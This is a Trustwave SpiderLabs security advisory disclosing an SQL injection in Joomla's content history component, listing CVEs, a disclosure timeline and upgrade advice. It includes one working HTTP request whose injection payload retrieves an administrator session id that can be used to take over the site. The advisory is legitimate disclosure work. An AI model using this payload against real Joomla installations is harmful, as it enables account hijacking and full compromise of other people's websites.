Trustwave SpiderLabs Security Advisory TWSL2015-021:
Joomla SQL Injection Vulnerability 

Published: 10/22/2015 
Version: 1.0

Vendor: Joomla (https://www.joomla.org/)
Product: Joomla! Content Management System (CMS)

Product description:
Content Management System

Finding: SQL Injection Vulnerability
Credit: Asaf Orpani of Trustwave
CVE: CVE-2015-7297, CVE-2015-7857, CVE-2015-7858

An SQL Injection vulnerability exists in the file “/administrator/components/com_contenthistory/models/history.php” a core module installed as part of a default Joomla installation. The following HTTP request allows an attacker to exploit the SQL injection vulnerability to return an administrative session id from Joomla:

GET index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1 &list[select]= (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

This admin session id can then be used as a part of a cookie in order to gain full administrative privileges to the Joomla site. 

Remediation Steps:
Trustwave recommends all users to upgrade to Joomla 3.4.5. Users that cannot patch or upgrade are recommended to deploy virtual patching technologies like web application firewall that can block the exploit.

Revision History:
10/15/2015 - Vulnerability disclosed to vendor
10/22/2015 - Patch released by vendor 
10/22/2015 - Advisory published


References
1. https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/
2. https://www.joomla.org/announcements/release-news/5634-joomla-3-4-5-released.html


About Trustwave:
Trustwave helps businesses fight cybercrime, protect data and reduce
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About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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